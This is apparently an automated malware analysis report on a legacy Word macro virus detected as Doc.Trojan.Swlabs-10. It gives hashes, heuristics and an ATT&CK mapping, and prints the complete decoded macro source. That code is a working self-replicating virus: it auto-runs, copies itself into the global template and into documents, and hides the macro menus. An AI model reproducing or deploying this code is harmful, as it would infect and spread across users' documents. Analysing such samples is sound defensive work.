Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f2805a8e9154be2…

MALICIOUS

Office (OLE)

46.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d0e91d184902b3422664e17882872e5f SHA-1: 39383df4dfb9d40f6920f08160e09502b7a3a40a SHA-256: 5f2805a8e9154be25a16701c7926c402ecf1d765eb219306c477a4d81472f969
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, including AutoOpen and AutoClose, which are commonly used for execution upon document opening or closing. The script attempts to copy these macros to the global template, suggesting an intent to establish persistence or spread to other documents. The ClamAV detection as 'Doc.Trojan.Swlabs-10' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Swlabs-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Swlabs-10
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
         MacName$ = FName$ + ":AutoOpen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9167 bytes
SHA-256: c2a644378ed6a96d346ebe3f847eee1635c24f0b8edf9db3b1a22b96928c8205
Detection
ClamAV: Doc.Trojan.Swlabs-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "TemplateProject.AutoClose.MAIN"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the Generic Concept Created by Skam

Rem Run Payload, Copy Macros to Template.
On Error GoTo -1: On Error GoTo ErrorHandler

     If WordBasic.[MenuItemText$]("&Tools", 0, 13, 0) = "&Macro..." Then
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&Tools", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
     End If

     Rem What? No Payload?  WUSSY!

     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then GoTo EndCode
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:AutoClose", 1
     WordBasic.MacroCopy MacName$, "Global:FileSave", 1
     WordBasic.MacroCopy MacName$, "Global:Skammy", 1

ErrorHandler:

Rem Copy Macro(s) from Template to the Document

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler:

On Error GoTo -1: On Error GoTo AutoCloseHandler
    MacName$ = FName$ + ":AutoClose"
     WordBasic.MacroCopy "Global:AutoClose", MacName$, 1
AutoCloseHandler:

On Error GoTo -1: On Error GoTo FileSaveHandler
     MacName$ = FName$ + ":FileSave"
     WordBasic.MacroCopy "Global:FileSave", MacName$, 1
FileSaveHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = FName$ + ":Skammy"
     WordBasic.MacroCopy "Global:Skammy", MacName$, 1
OtherNameHandler:

Rem Save Document as Template
If WordBasic.[FileName$]() <> "" Then
     WordBasic.FileSaveAs Format:=1
End If

WordBasic.Call "asdasdadad"
On Error GoTo -1: On Error GoTo 0:
On Error GoTo -1: On Error GoTo EndCode:



EndCode:

End Sub

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Attribute MAIN.VB_Description = "TemplateProject.FileSave.MAIN"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the Generic Concept Created by Skam

Rem Run Payload, Copy Macros to Template.
On Error GoTo -1: On Error GoTo ErrorHandler

     If WordBasic.[MenuItemText$]("&Tools", 0, 13, 0) = "&Macro..." Then
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&Tools", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
     End If

     Rem What? No Payload?  WUSSY!

     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then GoTo EndCode
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:AutoClose", 1
     WordBasic.MacroCopy MacName$, "Global:FileSave", 1
     WordBasic.MacroCopy MacName$, "Global:Skammy", 1

ErrorHandler:

Rem Copy Macro(s) from Template to the Document

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler:

On Error GoTo -1: On Error GoTo AutoCloseHandler
    MacName$ = FName$ + ":AutoClose"
     WordBasic.MacroCopy "Global:AutoClose", MacName$, 1
AutoCloseHandler:

On Error GoTo -1: On Error GoTo FileSaveHandler
     MacName$ = FName$ + ":FileSave"
     WordBasic.MacroCopy "Global:FileSave", MacName$, 1
FileSaveHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = FName$ + ":Skammy"
     WordBasic.MacroCopy "Global:Skammy", MacName$, 1
OtherNameHandler:

Rem Save Document as Template
If WordBasic.[FileName$]() <> "" Then
     WordBasic.FileSaveAs Format:=1
End If

WordBasic.Call "asdasdadad"
On Error GoTo -1: On Error GoTo 0:
On Error GoTo -1: On Error GoTo EndCode:



EndCode:

End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the Generic Concept Created by Skam

Rem Run Payload, Copy Macros to Template.
On Error GoTo -1: On Error GoTo ErrorHandler

     If WordBasic.[MenuItemText$]("&Tools", 0, 13, 0) = "&Macro..." Then
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&Tools", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
     End If

     Rem What? No Payload?  WUSSY!

     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then GoTo EndCode
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:AutoClose", 1
     WordBasic.MacroCopy MacName$, "Global:FileSave", 1
     WordBasic.MacroCopy MacName$, "Global:Skammy", 1

ErrorHandler:

Rem Copy Macro(s) from Template to the Document

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler:

On Error GoTo -1: On Error GoTo AutoCloseHandler
    MacName$ = FName$ + ":AutoClose"
     WordBasic.MacroCopy "Global:AutoClose", MacName$, 1
AutoCloseHandler:

On Error GoTo -1: On Error GoTo FileSaveHandler
     MacName$ = FName$ + ":FileSave"
     WordBasic.MacroCopy "Global:FileSave", MacName$, 1
FileSaveHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = FName$ + ":Skammy"
     WordBasic.MacroCopy "Global:Skammy", MacName$, 1
OtherNameHandler:

Rem Save Document as Template
If WordBasic.[FileName$]() <> "" Then
     WordBasic.FileSaveAs Format:=1
End If

WordBasic.Call "asdasdadad"
On Error GoTo -1: On Error GoTo 0:
On Error GoTo -1: On Error GoTo EndCode:



EndCode:

End Sub

Attribute VB_Name = "Skammy"

Public Sub MAIN()
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the Generic Concept Created by Skam

Rem Run Payload, Copy Macros to Template.
On Error GoTo -1: On Error GoTo ErrorHandler

     If WordBasic.[MenuItemText$]("&Tools", 0, 13, 0) = "&Macro..." Then
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&Tools", Context:=0, Remove:=1
          WordBasic.ToolsCustomizeMenus Name:="FileTemplates", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
          WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="&File", Context:=0, Remove:=1, MenuType:=1
     End If

     Rem What? No Payload?  WUSSY!

     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then GoTo EndCode
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:AutoClose", 1
     WordBasic.MacroCopy MacName$, "Global:FileSave", 1
     WordBasic.MacroCopy MacName$, "Global:Skammy", 1

ErrorHandler:

Rem Copy Macro(s) from Template to the Document

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler:

On Error GoTo -1: On Error GoTo AutoCloseHandler
    MacName$ = FName$ + ":AutoClose"
     WordBasic.MacroCopy "Global:AutoClose", MacName$, 1
AutoCloseHandler:

On Error GoTo -1: On Error GoTo FileSaveHandler
     MacName$ = FName$ + ":FileSave"
     WordBasic.MacroCopy "Global:FileSave", MacName$, 1
FileSaveHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = FName$ + ":Skammy"
     WordBasic.MacroCopy "Global:Skammy", MacName$, 1
OtherNameHandler:

Rem Save Document as Template
If WordBasic.[FileName$]() <> "" Then
     WordBasic.FileSaveAs Format:=1
End If

WordBasic.Call "asdasdadad"
On Error GoTo -1: On Error GoTo 0:
On Error GoTo -1: On Error GoTo EndCode:



EndCode:

End Sub

Attribute VB_Name = "NewMacros"

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